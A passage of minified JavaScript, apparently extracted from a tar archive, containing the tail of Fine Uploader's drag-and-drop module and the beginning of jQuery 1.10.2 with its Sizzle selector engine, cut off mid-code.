String.prototype.trim?e.trim():e.replace(/^\s+|\s+$/g,"")},qq.format=function(e){var n=Array.prototype.slice.call(arguments,1),t=e,r=t.indexOf("{}");return qq.each(n,function(e,n){var o=t.substring(0,r),i=t.substring(r+2);if(t=o+n+i,r=t.indexOf("{}",r+n.length),r<0)return!1}),t},qq.isFile=function(e){return window.File&&"[object File]"===Object.prototype.toString.call(e)},qq.isFileList=function(e){return window.FileList&&"[object FileList]"===Object.prototype.toString.call(e)},qq.isFileOrInput=function(e){return qq.isFile(e)||qq.isInput(e)},qq.isInput=function(e,n){var t=function(e){var t=e.toLowerCase();return n?"file"!==t:"file"===t};return!!(window.HTMLInputElement&&"[object HTMLInputElement]"===Object.prototype.toString.call(e)&&e.type&&t(e.type))||!!(e.tagName&&"input"===e.tagName.toLowerCase()&&e.type&&t(e.type))},qq.isBlob=function(e){if(window.Blob&&"[object Blob]"===Object.prototype.toString.call(e))return!0},qq.isXhrUploadSupported=function(){var e=document.createElement("input");return e.type="file",void 0!==e.multiple&&"undefined"!=typeof File&&"undefined"!=typeof FormData&&"undefined"!=typeof qq.createXhrInstance().upload},qq.createXhrInstance=function(){if(window.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("MSXML2.XMLHTTP.3.0")}catch(e){return qq.log("Neither XHR or ActiveX are supported!","error"),null}},qq.isFolderDropSupported=function(e){return e.items&&e.items.length>0&&e.items[0].webkitGetAsEntry},qq.isFileChunkingSupported=function(){return!qq.androidStock()&&qq.isXhrUploadSupported()&&(void 0!==File.prototype.slice||void 0!==File.prototype.webkitSlice||void 0!==File.prototype.mozSlice)},qq.sliceBlob=function(e,n,t){var r=e.slice||e.mozSlice||e.webkitSlice;return r.call(e,n,t)},qq.arrayBufferToHex=function(e){var n="",t=new Uint8Array(e);return qq.each(t,function(e,t){var r=t.toString(16);r.length<2&&(r="0"+r),n+=r}),n},qq.readBlobToHex=function(e,n,t){var r=qq.sliceBlob(e,n,n+t),o=new FileReader,i=new qq.Promise;return o.onload=function(){i.success(qq.arrayBufferToHex(o.result))},o.onerror=i.failure,o.readAsArrayBuffer(r),i},qq.extend=function(e,n,t){return qq.each(n,function(n,r){t&&qq.isObject(r)?(void 0===e[n]&&(e[n]={}),qq.extend(e[n],r,!0)):e[n]=r}),e},qq.override=function(e,n){var t={},r=n(t);return qq.each(r,function(n,r){void 0!==e[n]&&(t[n]=e[n]),e[n]=r}),e},qq.indexOf=function(e,n,t){if(e.indexOf)return e.indexOf(n,t);t=t||0;var r=e.length;for(t<0&&(t+=r);t<r;t+=1)if(e.hasOwnProperty(t)&&e[t]===n)return t;return-1},qq.getUniqueId=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var n=16*Math.random()|0,t="x"==e?n:3&n|8;return t.toString(16)})},qq.ie=function(){return navigator.userAgent.indexOf("MSIE")!==-1||navigator.userAgent.indexOf("Trident")!==-1},qq.ie7=function(){return navigator.userAgent.indexOf("MSIE 7")!==-1},qq.ie8=function(){return navigator.userAgent.indexOf("MSIE 8")!==-1},qq.ie10=function(){return navigator.userAgent.indexOf("MSIE 10")!==-1},qq.ie11=function(){return qq.ie()&&navigator.userAgent.indexOf("rv:11")!==-1},qq.edge=function(){return navigator.userAgent.indexOf("Edge")>=0},qq.safari=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Apple")!==-1},qq.chrome=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Google")!==-1},qq.opera=function(){return void 0!==navigator.vendor&&navigator.vendor.indexOf("Opera")!==-1},qq.firefox=function(){return!qq.edge()&&!qq.ie11()&&navigator.userAgent.indexOf("Mozilla")!==-1&&void 0!==navigator.vendor&&""===navigator.vendor},qq.windows=function(){return"Win32"===navigator.platform},qq.android=function(){return navigator.userAgent.toLowerCase().indexOf("android")!==-1},qq.androidStock=function(){return qq.android()&&navigator.userAgent.toLowerCase().indexOf("chrome")<0},qq.ios6=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 6_")!==-1},qq.ios7=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 7_")!==-1},qq.ios8=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_")!==-1},qq.ios800=function(){return qq.ios()&&navigator.userAgent.indexOf(" OS 8_0 ")!==-1},qq.ios=function(){return navigator.userAgent.indexOf("iPad")!==-1||navigator.userAgent.indexOf("iPod")!==-1||navigator.userAgent.indexOf("iPhone")!==-1},qq.iosChrome=function(){return qq.ios()&&navigator.userAgent.indexOf("CriOS")!==-1},qq.iosSafari=function(){return qq.ios()&&!qq.iosChrome()&&navigator.userAgent.indexOf("Safari")!==-1},qq.iosSafariWebView=function(){return qq.ios()&&!qq.iosChrome()&&!qq.iosSafari()},qq.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},qq.toElement=function(){var e=document.createElement("div");return function(n){e.innerHTML=n;var t=e.firstChild;return e.removeChild(t),t}}(),qq.each=function(e,n){var t,r;if(e)if(window.Storage&&e.constructor===window.Storage)for(t=0;t<e.length&&(r=n(e.key(t),e.getItem(e.key(t))),r!==!1);t++);else if(qq.isArray(e)||qq.isItemList(e)||qq.isNodeList(e))for(t=0;t<e.length&&(r=n(t,e[t]),r!==!1);t++);else if(qq.isString(e))for(t=0;t<e.length&&(r=n(t,e.charAt(t)),r!==!1);t++);else for(t in e)if(Object.prototype.hasOwnProperty.call(e,t)&&(r=n(t,e[t]),r===!1))break},qq.bind=function(e,n){if(qq.isFunction(e)){var t=Array.prototype.slice.call(arguments,2);return function(){var r=qq.extend([],t);return arguments.length&&(r=r.concat(Array.prototype.slice.call(arguments))),e.apply(n,r)}}throw new Error("first parameter must be a function!")},qq.obj2url=function(e,n,t){var r=[],o="&",i=function(e,t){var o=n?/\[\]$/.test(n)?n:n+"["+t+"]":t;"undefined"!==o&&"undefined"!==t&&r.push("object"==typeof e?qq.obj2url(e,o,!0):"[object Function]"===Object.prototype.toString.call(e)?encodeURIComponent(o)+"="+encodeURIComponent(e()):encodeURIComponent(o)+"="+encodeURIComponent(e))};return!t&&n?(o=/\?/.test(n)?/\?$/.test(n)?"":"&":"?",r.push(n),r.push(qq.obj2url(e))):"[object Array]"===Object.prototype.toString.call(e)&&"undefined"!=typeof e?qq.each(e,function(e,n){i(n,e)}):"undefined"!=typeof e&&null!==e&&"object"==typeof e?qq.each(e,function(e,n){i(n,e)}):r.push(encodeURIComponent(n)+"="+encodeURIComponent(e)),n?r.join(o):r.join(o).replace(/^&/,"").replace(/%20/g,"+")},qq.obj2FormData=function(e,n,t){return n||(n=new FormData),qq.each(e,function(e,r){e=t?t+"["+e+"]":e,qq.isObject(r)?qq.obj2FormData(r,n,e):qq.isFunction(r)?n.append(e,r()):n.append(e,r)}),n},qq.obj2Inputs=function(e,n){var t;return n||(n=document.createElement("form")),qq.obj2FormData(e,{append:function(e,r){t=document.createElement("input"),t.setAttribute("name",e),t.setAttribute("value",r),n.appendChild(t)}}),n},qq.parseJson=function(json){return window.JSON&&qq.isFunction(JSON.parse)?JSON.parse(json):eval("("+json+")")},qq.getExtension=function(e){var n=e.lastIndexOf(".")+1;if(n>0)return e.substr(n,e.length-n)},qq.getFilename=function(e){return qq.isInput(e)?e.value.replace(/.*(\/|\\)/,""):qq.isFile(e)&&null!==e.fileName&&void 0!==e.fileName?e.fileName:e.name},qq.DisposeSupport=function(){var e=[];return{dispose:function(){var n;do n=e.shift(),n&&n();while(n)},attach:function(){var e=arguments;this.addDisposer(qq(e[0]).attach.apply(this,Array.prototype.slice.call(arguments,1)))},addDisposer:function(n){e.push(n)}}}}(),function(){"use strict";"function"==typeof define&&define.amd?define(function(){return qq}):"undefined"!=typeof module&&module.exports?module.exports=qq:global.qq=qq}(),qq.version="5.11.8",qq.supportedFeatures=function(){"use strict";function e(){var e,n=!0;try{e=document.createElement("input"),e.type="file",qq(e).hide(),e.disabled&&(n=!1)}catch(e){n=!1}return n}function n(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/)}function t(){return(qq.chrome()||qq.opera())&&void 0!==navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/)}function r(){if(window.XMLHttpRequest){var e=qq.createXhrInstance();return void 0!==e.withCredentials}return!1}function o(){return void 0!==window.XDomainRequest}function i(){return!!r()||o()}function a(){return void 0!==document.createElement("input").webkitdirectory}function u(){try{return!!window.localStorage&&qq.isFunction(window.localStorage.setItem)}catch(e){return!1}}function c(){var e=document.createElement("span");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&!qq.android()&&!qq.ios()}var s,l,q,f,d,p,g,v,h,m,y,b,w,x,E;return s=e(),f=s&&qq.isXhrUploadSupported(),l=f&&!qq.androidStock(),q=f&&c(),d=q&&n(),p=f&&qq.isFileChunkingSupported(),g=f&&p&&u(),v=f&&t(),h=s&&(void 0!==window.postMessage||f),y=r(),m=o(),b=i(),w=a(),x=f&&void 0!==window.FileReader,E=function(){return!!f&&(!qq.androidStock()&&!qq.iosChrome())}(),{ajaxUploading:f,blobUploading:l,canDetermineSize:f,chunking:p,deleteFileCors:b,deleteFileCorsXdr:m,deleteFileCorsXhr:y,dialogElement:!!window.HTMLDialogElement,fileDrop:q,folderDrop:d,folderSelection:w,imagePreviews:x,imageValidation:x,itemSizeValidation:f,pause:p,progressBar:E,resume:g,scaling:x&&l,tiffPreviews:qq.safari(),unlimitedScaledImageSize:!qq.ios(),uploading:s,uploadCors:h,uploadCustomHeaders:f,uploadNonMultipart:f,uploadViaPaste:v}}(),qq.isGenericPromise=function(e){"use strict";return!!(e&&e.then&&qq.isFunction(e.then))},qq.Promise=function(){"use strict";var e,n,t=[],r=[],o=[],i=0;qq.extend(this,{then:function(o,a){return 0===i?(o&&t.push(o),a&&r.push(a)):i===-1?a&&a.apply(null,n):o&&o.apply(null,e),this},done:function(t){return 0===i?o.push(t):t.apply(null,void 0===n?e:n),this},success:function(){return i=1,e=arguments,t.length&&qq.each(t,function(n,t){t.apply(null,e)}),o.length&&qq.each(o,function(n,t){t.apply(null,e)}),this},failure:function(){return i=-1,n=arguments,r.length&&qq.each(r,function(e,t){t.apply(null,n)}),o.length&&qq.each(o,function(e,t){t.apply(null,n)}),this}})},qq.DragAndDrop=function(e){"use strict";function n(e,n){var t=Array.prototype.slice.call(e);s.callbacks.dropLog("Grabbed "+e.length+" dropped files."),n.dropDisabled(!1),s.callbacks.processingDroppedFilesComplete(t,n.getElement())}function t(e){var n=new qq.Promise;return e.isFile?e.file(function(t){var r=e.name,o=e.fullPath,i=o.indexOf(r);o=o.substr(0,i),"/"===o.charAt(0)&&(o=o.substr(1)),t.qqPath=o,d.push(t),n.success()},function(t){s.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+t.code+".","error"),n.failure()}):e.isDirectory&&r(e).then(function(e){var r=e.length;qq.each(e,function(e,o){t(o).done(function(){r-=1,0===r&&n.success()})}),e.length||n.success()},function(t){s.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+t.code+".","error"),n.failure()}),n}function r(e,n,t,o){var i=o||new qq.Promise,a=n||e.createReader();return a.readEntries(function(n){var o=t?t.concat(n):n;n.length?setTimeout(function(){r(e,a,o,i)},0):i.success(o)},i.failure),i}function o(e,n){var r=[],o=new qq.Promise;return s.callbacks.processingDroppedFiles(),n.dropDisabled(!0),e.files.length>1&&!s.allowMultipleItems?(s.callbacks.processingDroppedFilesComplete([]),s.callbacks.dropError("tooManyFilesError",""),n.dropDisabled(!1),o.failure()):(d=[],qq.isFolderDropSupported(e)?qq.each(e.items,function(e,n){var i=n.webkitGetAsEntry();i&&(i.isFile?d.push(n.getAsFile()):r.push(t(i).done(function(){r.pop(),0===r.length&&o.success()})))}):d=e.files,0===r.length&&o.success()),o}function i(e){var t=new qq.UploadDropZone({HIDE_ZONES_EVENT_NAME:l,element:e,onEnter:function(n){qq(e).addClass(s.classes.dropActive),n.stopPropagation()},onLeaveNotDescendants:function(n){qq(e).removeClass(s.classes.dropActive)},onDrop:function(e){o(e.dataTransfer,t).then(function(){n(d,t)},function(){s.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.","error")})}});return p.addDisposer(function(){t.dispose()}),qq(e).hasAttribute(q)&&qq(e).hide(),f.push(t),t}function a(e){var n;return qq.each(e.dataTransfer.types,function(e,t){if("Files"===t)return n=!0,!1}),n}function u(e){return qq.firefox()?!e.relatedTarget:qq.safari()?e.x<0||e.y<0:0===e.x&&0===e.y}function c(){var e=s.dropZoneElements,n=function(){setTimeout(function(){qq.each(e,function(e,n){qq(n).hasAttribute(q)&&qq(n).hide(),qq(n).removeClass(s.classes.dropActive)})},10)};qq.each(e,function(n,t){var r=i(t);e.length&&qq.supportedFeatures.fileDrop&&p.attach(document,"dragenter",function(n){!r.dropDisabled()&&a(n)&&qq.each(e,function(e,n){n instanceof HTMLElement&&qq(n).hasAttribute(q)&&qq(n).css({display:"block"})})})}),p.attach(document,"dragleave",function(e){u(e)&&n()}),p.attach(qq(document).children()[0],"mouseenter",function(e){n()}),p.attach(document,"drop",function(e){e.preventDefault(),n()}),p.attach(document,l,n)}var s,l="qq-hidezones",q="qq-hide-dropzone",f=[],d=[],p=new qq.DisposeSupport;s={dropZoneElements:[],allowMultipleItems:!0,classes:{dropActive:null},callbacks:new qq.DragAndDrop.callbacks},qq.extend(s,e,!0),c(),qq.extend(this,{setupExtraDropzone:function(e){s.dropZoneElements.push(e),i(e)},removeDropzone:function(e){var n,t=s.dropZoneElements;for(n in t)if(t[n]===e)return t.splice(n,1)},dispose:function(){p.dispose(),qq.each(f,function(e,n){n.dispose()})}})},qq.DragAndDrop.callbacks=function(){"use strict";return{processingDroppedFiles:function(){},processingDroppedFilesComplete:function(e,n){},dropError:function(e,n){qq.log("Drag & drop error code '"+e+" with these specifics: '"+n+"'","error")},dropLog:function(e,n){qq.log(e,n)}}},qq.UploadDropZone=function(e){"use strict";function n(){return qq.safari()||qq.firefox()&&qq.windows()}function t(e){l||(n?q.attach(document,"dragover",function(e){e.preventDefault()}):q.attach(document,"dragover",function(e){e.dataTransfer&&(e.dataTransfer.dropEffect="none",e.preventDefault())}),l=!0)}function r(e){if(!qq.supportedFeatures.fileDrop)return!1;var n,t=e.dataTransfer,r=qq.safari();return n=!(!qq.ie()||!qq.supportedFeatures.fileDrop)||"none"!==t.effectAllowed,t&&n&&(t.files||!r&&t.types.contains&&t.types.contains("Files"))}function o(e){return void 0!==e&&(s=e),s}function i(){function e(){n=document.createEvent("Event"),n.initEvent(u.HIDE_ZONES_EVENT_NAME,!0,!0)}var n;if(window.CustomEvent)try{n=new CustomEvent(u.HIDE_ZONES_EVENT_NAME)}catch(n){e()}else e();document.dispatchEvent(n)}function a(){q.attach(c,"dragover",function(e){if(r(e)){var n=qq.ie()&&qq.supportedFeatures.fileDrop?null:e.dataTransfer.effectAllowed;"move"===n||"linkMove"===n?e.dataTransfer.dropEffect="move":e.dataTransfer.dropEffect="copy",e.stopPropagation(),e.preventDefault()}}),q.attach(c,"dragenter",function(e){if(!o()){if(!r(e))return;u.onEnter(e)}}),q.attach(c,"dragleave",function(e){if(r(e)){u.onLeave(e);var n=document.elementFromPoint(e.clientX,e.clientY);qq(this).contains(n)||u.onLeaveNotDescendants(e)}}),q.attach(c,"drop",function(e){if(!o()){if(!r(e))return;e.preventDefault(),e.stopPropagation(),u.onDrop(e),i()}})}var u,c,s,l,q=new qq.DisposeSupport;u={element:null,onEnter:function(e){},onLeave:function(e){},onLeaveNotDescendants:function(e){},onDrop:function(e){}},qq.extend(u,e),c=u.element,t(),a(),qq.extend(this,{dropDisabled:function(e){return o(e)},dispose:function(){q.dispose()},getElement:function(){return c}})}}(window);
//# sourceMappingURL=dnd.min.js.mapjs/jquery.js000060400000265663150710775200007057 0ustar00/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license
//@ sourceMappingURL=jquery-1.10.2.min.map
*/
(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e,t,r)},w=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,N=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.ready())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded",q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument||n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this[i])?this[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentNode){if(o.id!==i[2])return r.find(e);this.length=1,this[0]=o}return this.context=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(g.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&(c&&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!--x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return null!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"object"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!v.call(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(r){return!1}if(x.support.ownLast)for(n in e)return v.call(e,n);for(n in e);return n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.parse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.replace(A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Invalid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}return r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for(r=t.length,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o++)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(s[s.length]=r);return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r)x.access(e,n,l,r[l],!0,a,s)}else if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)));return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.promise=function(t){if(!n)if(n=x.Deferred(),"complete"===a.readyState)setTimeout(x.ready);else if(a.addEventListener)a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1);else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace(3,8)+")*)|.*)\\)|)",z=RegExp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P+"*"),U=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\]'\"]*)"+P+"*\\]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")"),CLASS:RegExp("^\\.("+R+")"),TAG:RegExp("^("+R.replace("w","w*")+")"),ATTR:RegExp("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|))"+P+"*\\)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}"+P+"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e)return n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])return M.apply(n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName)return M.apply(n,t.getElementsByClassName(s)),n}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n+=" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t=+t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}s=at.isXML=function(e){var 